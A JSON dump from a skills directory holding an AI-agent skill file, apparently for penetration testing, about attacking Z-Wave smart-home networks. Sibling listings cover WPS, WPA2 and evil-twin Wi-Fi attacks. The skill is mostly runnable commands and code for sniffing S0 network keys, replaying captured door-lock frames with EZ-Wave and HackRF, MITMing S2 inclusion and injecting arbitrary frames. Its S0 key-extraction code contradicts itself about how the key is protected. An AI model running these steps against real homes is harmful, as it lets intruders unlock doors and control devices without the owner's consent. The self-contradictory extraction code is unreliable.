[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFZKX7ES0SF20YFEW2GPAC":3,"skill-same:01M7DFZKX7ES0SF20YFEW2GPAC":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFZKX7ES0SF20YFEW2GPAC","z-wave",null,"Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH\u002FDSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing\u002Freplay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fiot\u002Fz-wave\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: z-wave\ndescription: Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH\u002FDSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing\u002Freplay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands.\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: iot\n  when_to_use: Z-Wave, S0, S2, ECDH, DSK, EZ-Wave, Z-Force, replay, unauthenticated, smart home, Z-Wave controller, 868 MHz, 908 MHz, RTL-SDR, scapy-radio, Z-Wave network key\n  tags: z-wave, s0, s2, replay, iot, embedded, sdr, 868mhz\n  mitre_attack: T1040, T1557, T1190, T1078\n---\n\n# Z-Wave S0\u002FS2 Security Assessment\n\n> Z-Wave is the dominant proprietary RF protocol for smart-home devices\n> (locks, thermostats, sensors). Security class S0 (2009) has a fundamental\n> key-exchange flaw: the network key is transmitted in cleartext during\n> inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device\n> Specific Key) bootstrapping step that can be MITM'd if the controller\n> UI does not enforce out-of-band DSK verification.\n\n## Prerequisites\n\n- **Hardware**:\n  - RTL-SDR Blog v4 (passive capture, 24–1766 MHz) + GNU Radio.\n  - HackRF One (TX\u002FRX, active replay and injection, 1 MHz–6 GHz).\n  - OR Sigma Designs UZB stick \u002F Aeotec Z-Stick Gen5 (USB Z-Wave\n    controller, for EZ-Wave \u002F Z-Force active work).\n- **Software**: `gr-zwave` (GNU Radio Z-Wave OOK decoder), EZ-Wave,\n  Z-Force \u002F zniffer, Scapy with Z-Wave layer.\n\n```bash\n# Install gr-zwave (build from source on Kali):\ngit clone https:\u002F\u002Fgithub.com\u002FBastilleResearch\u002Fscapy-radio\n# EZ-Wave:\ngit clone https:\u002F\u002Fgithub.com\u002FAFcruzBR\u002FEZ-Wave\npip install pyserial pyzmq\n# Z-Force (Silabs):\n# Download Zniffer binary from Silabs PC_Host_SW_Bundle; run on Windows VM or Wine.\n```\n\n## Z-Wave Frequency Reference\n\n| Region | Primary frequency | Fallback |\n|---|---|---|\n| EU \u002F UK | 868.42 MHz | 869.85 MHz |\n| US \u002F CA | 908.42 MHz | 916.0 MHz |\n| JP | 922–926 MHz | — |\n| AU \u002F NZ | 919.8 MHz | 921.4 MHz |\n\nSet your SDR to the correct region frequency.\n\n## Phase 1: Passive Capture with RTL-SDR + gr-zwave\n\n```bash\n# Start GRC flowgraph for Z-Wave OOK demodulation:\n# Use the gr-zwave example flowgraph (zwave_rx.grc).\n# Set sample rate = 2 MHz, center_freq = 908.42e6 (US) or 868.42e6 (EU).\ngnuradio-companion \u002Fpath\u002Fto\u002Fgr-zwave\u002Fapps\u002Fzwave_rx.grc\n\n# Alternatively, capture raw IQ and decode offline:\nrtl_sdr -f 908420000 -s 2000000 -g 40 \u002Ftmp\u002Fzwave_capture.iq\n# Then pipe through gr-zwave offline decoder:\npython3 gr-zwave\u002Fapps\u002Fdecode_zwave_file.py \u002Ftmp\u002Fzwave_capture.iq\n```\n\nCapture traffic during an inclusion event (when a new device is added to the\ncontroller) — S0 key transport happens in plaintext at this moment.\n\n## Phase 2: S0 Key Extraction During Inclusion\n\nS0 inclusion sequence:\n1. Controller sends `NETWORK_KEY_SET` with the 16-byte network key **XOR'd\n   with the Z-Wave default key** `0x00×16`.\n2. Node acknowledges with `NETWORK_KEY_VERIFY`.\n\nSince the default key is all-zeros, the XOR is trivially reversible:\n\n```python\nDEFAULT_KEY = b'\\x00' * 16  # Z-Wave S0 default key\n\ndef extract_s0_key(key_set_payload: bytes) -> bytes:\n    \"\"\"\n    key_set_payload: bytes 3–18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06).\n    \"\"\"\n    return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY))\n    # Since DEFAULT_KEY is 0x00 this is identity — the key IS the payload.\n\n# In practice, the \"encrypted\" key in S0 KEY_SET is sent under a temp key\n# derived from the controller nonce + node nonce; capture both nonces.\n```\n\nUse Scapy Z-Wave layer to parse frames from pcap:\n\n```bash\n# EZ-Wave sniffer mode (requires Aeotec Z-Stick or UZB):\npython3 EZ-Wave\u002Fezwave.py -s \u002Fdev\u002FttyACM0 -c sniff | tee \u002Ftmp\u002Fezwave_sniff.txt\n```\n\n## Phase 3: Replay Attack on Unauthenticated Nodes (No-Security \u002F S0 with extracted key)\n\nDevices that joined with **no security class** (very common on older gear)\naccept any RF frame addressed to their NodeID. EZ-Wave replay:\n\n```bash\n# Record a legitimate command (e.g., door lock LOCK command):\npython3 EZ-Wave\u002Fezwave.py -s \u002Fdev\u002FttyACM0 -c capture -f \u002Ftmp\u002Flock_cmd.bin\n\n# Replay the frame (unmodified) — triggers the lock:\npython3 EZ-Wave\u002Fezwave.py -s \u002Fdev\u002FttyACM0 -c replay -f \u002Ftmp\u002Flock_cmd.bin\n```\n\nWith HackRF + GNU Radio for raw OOK replay:\n\n```bash\n# 1. Capture raw IQ of target frame:\nhackrf_transfer -r \u002Ftmp\u002Fzwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40\n\n# 2. Replay at same frequency:\nhackrf_transfer -t \u002Ftmp\u002Fzwave_frame.iq -f 908420000 -s 2000000 -x 47\n```\n\n## Phase 4: S2 DSK MITM Analysis\n\nS2 inclusion uses ECDH (Curve25519). The DSK (device-specific key, a 16-digit\nPIN printed on the device label) is used for bootstrapping the ECDH exchange.\nAttack vectors:\n\n1. **MITM if DSK not verified**: if the controller software auto-accepts the\n   DSK without prompting the user to verify, a spoofed node can substitute\n   its own public key.\n\n2. **Physical DSK exposure**: the DSK is printed on a label or QR code on the\n   device. If the attacker had physical access (supply chain, retail), they\n   can record DSKs and later include the device under their own controller.\n\n```python\n# Verify the ECDH public key in the S2 NODE_INFO_CACHED_GET exchange:\n# Use Z-PC-Zniffer (Silabs) to capture the S2 INCLUSION_REQUESTED_REPORT.\n# Extract the node's public key (32 bytes) from the Z-Wave Application\n# Framework spec table \"SECURITY_2_PUBLIC_KEY_REPORT\".\n\n# Cross-check with the DSK:\n# First 2 bytes of the public key == first 2 bytes of the DSK (big-endian).\n# If auto-granted, the controller accepted without verifying remaining 14 bytes.\ndef check_dsk_mismatch(public_key_hex: str, dsk_pin: str) -> bool:\n    pk_bytes = bytes.fromhex(public_key_hex)\n    dsk_bytes = bytes.fromhex(dsk_pin.replace(\"-\", \"\"))\n    return pk_bytes[:2] == dsk_bytes[:2] and pk_bytes[2:16] != dsk_bytes[2:16]\n```\n\n## Phase 5: Z-Force Active Fuzzing\n\nZ-Force (formerly Silabs PC Zniffer extended by security researchers) allows\ninjecting arbitrary Z-Wave frames via the USB Z-Wave controller:\n\n```bash\n# Z-Force CLI — inject raw frame to NodeID 5, Command Class 0x25 (Binary Switch):\nzforce inject --node 5 --cc 0x25 --cmd 0x01 --payload 0xFF  # Switch ON\n\n# Enumerate all nodes in range (broadcast NodeID 0xFF):\nzforce scan --freq 908420000\n\n# Replay a captured BASIC_SET frame:\nzforce replay --file \u002Ftmp\u002Fbasic_set.zwave --node 5\n```\n\n## Evidence\n\n```bash\nEVIDENCE=\"\u002Fworkspace\u002Fevidence\u002Fz-wave\u002F$(date +%Y%m%d_%H%M%S)\"\nmkdir -p \"$EVIDENCE\"\ncp \u002Ftmp\u002Fzwave_capture.iq \"$EVIDENCE\u002F\"\ncp \u002Ftmp\u002Fezwave_sniff.txt \"$EVIDENCE\u002F\"\nsha256sum \"$EVIDENCE\"\u002F* >> \"$EVIDENCE\u002Fsha256.txt\"\n```\n\n```python\nkg_record(\n    '[{\"kind\": \"Finding\", \"key\": f\"z-wave::s0::{home_id}\",'\n    '  \"label\": f\"Z-Wave S0 network key extracted NodeID={node_id}\",'\n    '  \"props\": {\"home_id\": home_id,'\n    '            \"node_id\": node_id,'\n    '            \"s0_network_key_hex\": s0_key.hex(),'\n    '            \"security_class\": \"S0\",'\n    '            \"frequency_mhz\": 908.42,'\n    '            \"source\": \"gr-zwave+ezwave\"}}]'\n)\n```\n\n## OPSEC Notes\n\n- Z-Wave HomeID (32-bit) is broadcast in every frame — trivially identifies\n  the network. Capture any frame to determine HomeID.\n- Replay of door lock commands is a physical security event. Only perform\n  with owner consent and a documented rollback plan (alternate entry method).\n- RTL-SDR is receive-only — zero RF emission from capture phase.\n- HackRF replay is detectable by a Z-Wave sniffer or IDS (Silabs Zniffer)\n  if the operator has one deployed; most consumer smart-home installs do not.\n- S2 with ACCESS or AUTHENTICATED class and manual DSK verification is\n  resistant to all MITM techniques described here; document as hardened.\n\n## References\n\n- EZ-Wave: https:\u002F\u002Fgithub.com\u002FAFcruzBR\u002FEZ-Wave\n- gr-zwave: https:\u002F\u002Fgithub.com\u002FBastilleResearch\u002Fscapy-radio (Z-Wave module)\n- Crowley & Heeger \"Z-Wave Reverse Engineering\" (DEF CON 21).\n- Silabs Z-Wave PC Zniffer: https:\u002F\u002Fwww.silabs.com\u002Fdevelopers\u002Fz-wave\n- Z-Wave Alliance security classes: SDS13784 (Security 2 spec).\n","# Z-Wave S0\u002FS2 Security Assessment\n\n> Z-Wave is the dominant proprietary RF protocol for smart-home devices\n> (locks, thermostats, sensors). Security class S0 (2009) has a fundamental\n> key-exchange flaw: the network key is transmitted in cleartext during\n> inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device\n> Specific Key) bootstrapping step that can be MITM'd if the controller\n> UI does not enforce out-of-band DSK verification.\n\n## Prerequisites\n\n- **Hardware**:\n  - RTL-SDR Blog v4 (passive capture, 24–1766 MHz) + GNU Radio.\n  - HackRF One (TX\u002FRX, active replay and injection, 1 MHz–6 GHz).\n  - OR Sigma Designs UZB stick \u002F Aeotec Z-Stick Gen5 (USB Z-Wave\n    controller, for EZ-Wave \u002F Z-Force active work).\n- **Software**: `gr-zwave` (GNU Radio Z-Wave OOK decoder), EZ-Wave,\n  Z-Force \u002F zniffer, Scapy with Z-Wave layer.\n\n```bash\n# Install gr-zwave (build from source on Kali):\ngit clone https:\u002F\u002Fgithub.com\u002FBastilleResearch\u002Fscapy-radio\n# EZ-Wave:\ngit clone https:\u002F\u002Fgithub.com\u002FAFcruzBR\u002FEZ-Wave\npip install pyserial pyzmq\n# Z-Force (Silabs):\n# Download Zniffer binary from Silabs PC_Host_SW_Bundle; run on Windows VM or Wine.\n```\n\n## Z-Wave Frequency Reference\n\n| Region | Primary frequency | Fallback |\n|---|---|---|\n| EU \u002F UK | 868.42 MHz | 869.85 MHz |\n| US \u002F CA | 908.42 MHz | 916.0 MHz |\n| JP | 922–926 MHz | — |\n| AU \u002F NZ | 919.8 MHz | 921.4 MHz |\n\nSet your SDR to the correct region frequency.\n\n## Phase 1: Passive Capture with RTL-SDR + gr-zwave\n\n```bash\n# Start GRC flowgraph for Z-Wave OOK demodulation:\n# Use the gr-zwave example flowgraph (zwave_rx.grc).\n# Set sample rate = 2 MHz, center_freq = 908.42e6 (US) or 868.42e6 (EU).\ngnuradio-companion \u002Fpath\u002Fto\u002Fgr-zwave\u002Fapps\u002Fzwave_rx.grc\n\n# Alternatively, capture raw IQ and decode offline:\nrtl_sdr -f 908420000 -s 2000000 -g 40 \u002Ftmp\u002Fzwave_capture.iq\n# Then pipe through gr-zwave offline decoder:\npython3 gr-zwave\u002Fapps\u002Fdecode_zwave_file.py \u002Ftmp\u002Fzwave_capture.iq\n```\n\nCapture traffic during an inclusion event (when a new device is added to the\ncontroller) — S0 key transport happens in plaintext at this moment.\n\n## Phase 2: S0 Key Extraction During Inclusion\n\nS0 inclusion sequence:\n1. Controller sends `NETWORK_KEY_SET` with the 16-byte network key **XOR'd\n   with the Z-Wave default key** `0x00×16`.\n2. Node acknowledges with `NETWORK_KEY_VERIFY`.\n\nSince the default key is all-zeros, the XOR is trivially reversible:\n\n```python\nDEFAULT_KEY = b'\\x00' * 16  # Z-Wave S0 default key\n\ndef extract_s0_key(key_set_payload: bytes) -> bytes:\n    \"\"\"\n    key_set_payload: bytes 3–18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06).\n    \"\"\"\n    return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY))\n    # Since DEFAULT_KEY is 0x00 this is identity — the key IS the payload.\n\n# In practice, the \"encrypted\" key in S0 KEY_SET is sent under a temp key\n# derived from the controller nonce + node nonce; capture both nonces.\n```\n\nUse Scapy Z-Wave layer to parse frames from pcap:\n\n```bash\n# EZ-Wave sniffer mode (requires Aeotec Z-Stick or UZB):\npython3 EZ-Wave\u002Fezwave.py -s \u002Fdev\u002FttyACM0 -c sniff | tee \u002Ftmp\u002Fezwave_sniff.txt\n```\n\n## Phase 3: Replay Attack on Unauthenticated Nodes (No-Security \u002F S0 with extracted key)\n\nDevices that joined with **no security class** (very common on older gear)\naccept any RF frame addressed to their NodeID. EZ-Wave replay:\n\n```bash\n# Record a legitimate command (e.g., door lock LOCK command):\npython3 EZ-Wave\u002Fezwave.py -s \u002Fdev\u002FttyACM0 -c capture -f \u002Ftmp\u002Flock_cmd.bin\n\n# Replay the frame (unmodified) — triggers the lock:\npython3 EZ-Wave\u002Fezwave.py -s \u002Fdev\u002FttyACM0 -c replay -f \u002Ftmp\u002Flock_cmd.bin\n```\n\nWith HackRF + GNU Radio for raw OOK replay:\n\n```bash\n# 1. Capture raw IQ of target frame:\nhackrf_transfer -r \u002Ftmp\u002Fzwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40\n\n# 2. Replay at same frequency:\nhackrf_transfer -t \u002Ftmp\u002Fzwave_frame.iq -f 908420000 -s 2000000 -x 47\n```\n\n## Phase 4: S2 DSK MITM Analysis\n\nS2 inclusion uses ECDH (Curve25519). The DSK (device-specific key, a 16-digit\nPIN printed on the device label) is used for bootstrapping the ECDH exchange.\nAttack vectors:\n\n1. **MITM if DSK not verified**: if the controller software auto-accepts the\n   DSK without prompting the user to verify, a spoofed node can substitute\n   its own public key.\n\n2. **Physical DSK exposure**: the DSK is printed on a label or QR code on the\n   device. If the attacker had physical access (supply chain, retail), they\n   can record DSKs and later include the device under their own controller.\n\n```python\n# Verify the ECDH public key in the S2 NODE_INFO_CACHED_GET exchange:\n# Use Z-PC-Zniffer (Silabs) to capture the S2 INCLUSION_REQUESTED_REPORT.\n# Extract the node's public key (32 bytes) from the Z-Wave Application\n# Framework spec table \"SECURITY_2_PUBLIC_KEY_REPORT\".\n\n# Cross-check with the DSK:\n# First 2 bytes of the public key == first 2 bytes of the DSK (big-endian).\n# If auto-granted, the controller accepted without verifying remaining 14 bytes.\ndef check_dsk_mismatch(public_key_hex: str, dsk_pin: str) -> bool:\n    pk_bytes = bytes.fromhex(public_key_hex)\n    dsk_bytes = bytes.fromhex(dsk_pin.replace(\"-\", \"\"))\n    return pk_bytes[:2] == dsk_bytes[:2] and pk_bytes[2:16] != dsk_bytes[2:16]\n```\n\n## Phase 5: Z-Force Active Fuzzing\n\nZ-Force (formerly Silabs PC Zniffer extended by security researchers) allows\ninjecting arbitrary Z-Wave frames via the USB Z-Wave controller:\n\n```bash\n# Z-Force CLI — inject raw frame to NodeID 5, Command Class 0x25 (Binary Switch):\nzforce inject --node 5 --cc 0x25 --cmd 0x01 --payload 0xFF  # Switch ON\n\n# Enumerate all nodes in range (broadcast NodeID 0xFF):\nzforce scan --freq 908420000\n\n# Replay a captured BASIC_SET frame:\nzforce replay --file \u002Ftmp\u002Fbasic_set.zwave --node 5\n```\n\n## Evidence\n\n```bash\nEVIDENCE=\"\u002Fworkspace\u002Fevidence\u002Fz-wave\u002F$(date +%Y%m%d_%H%M%S)\"\nmkdir -p \"$EVIDENCE\"\ncp \u002Ftmp\u002Fzwave_capture.iq \"$EVIDENCE\u002F\"\ncp \u002Ftmp\u002Fezwave_sniff.txt \"$EVIDENCE\u002F\"\nsha256sum \"$EVIDENCE\"\u002F* >> \"$EVIDENCE\u002Fsha256.txt\"\n```\n\n```python\nkg_record(\n    '[{\"kind\": \"Finding\", \"key\": f\"z-wave::s0::{home_id}\",'\n    '  \"label\": f\"Z-Wave S0 network key extracted NodeID={node_id}\",'\n    '  \"props\": {\"home_id\": home_id,'\n    '            \"node_id\": node_id,'\n    '            \"s0_network_key_hex\": s0_key.hex(),'\n    '            \"security_class\": \"S0\",'\n    '            \"frequency_mhz\": 908.42,'\n    '            \"source\": \"gr-zwave+ezwave\"}}]'\n)\n```\n\n## OPSEC Notes\n\n- Z-Wave HomeID (32-bit) is broadcast in every frame — trivially identifies\n  the network. Capture any frame to determine HomeID.\n- Replay of door lock commands is a physical security event. Only perform\n  with owner consent and a documented rollback plan (alternate entry method).\n- RTL-SDR is receive-only — zero RF emission from capture phase.\n- HackRF replay is detectable by a Z-Wave sniffer or IDS (Silabs Zniffer)\n  if the operator has one deployed; most consumer smart-home installs do not.\n- S2 with ACCESS or AUTHENTICATED class and manual DSK verification is\n  resistant to all MITM techniques described here; document as hardened.\n\n## References\n\n- EZ-Wave: https:\u002F\u002Fgithub.com\u002FAFcruzBR\u002FEZ-Wave\n- gr-zwave: https:\u002F\u002Fgithub.com\u002FBastilleResearch\u002Fscapy-radio (Z-Wave module)\n- Crowley & Heeger \"Z-Wave Reverse Engineering\" (DEF CON 21).\n- Silabs Z-Wave PC Zniffer: https:\u002F\u002Fwww.silabs.com\u002Fdevelopers\u002Fz-wave\n- Z-Wave Alliance security classes: SDS13784 (Security 2 spec).\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"z-wave, s0, s2, replay, iot, embedded, sdr, 868mhz","iot","Z-Wave, S0, S2, ECDH, DSK, EZ-Wave, Z-Force, replay, unauthenticated, smart home, Z-Wave controller, 868 MHz, 908 MHz, RTL-SDR, scapy-radio, Z-Wave network key","T1040, T1557, T1190, T1078","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fiot\u002Fz-wave","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill z-wave",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill z-wave",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill z-wave","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fiot\u002Fz-wave\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]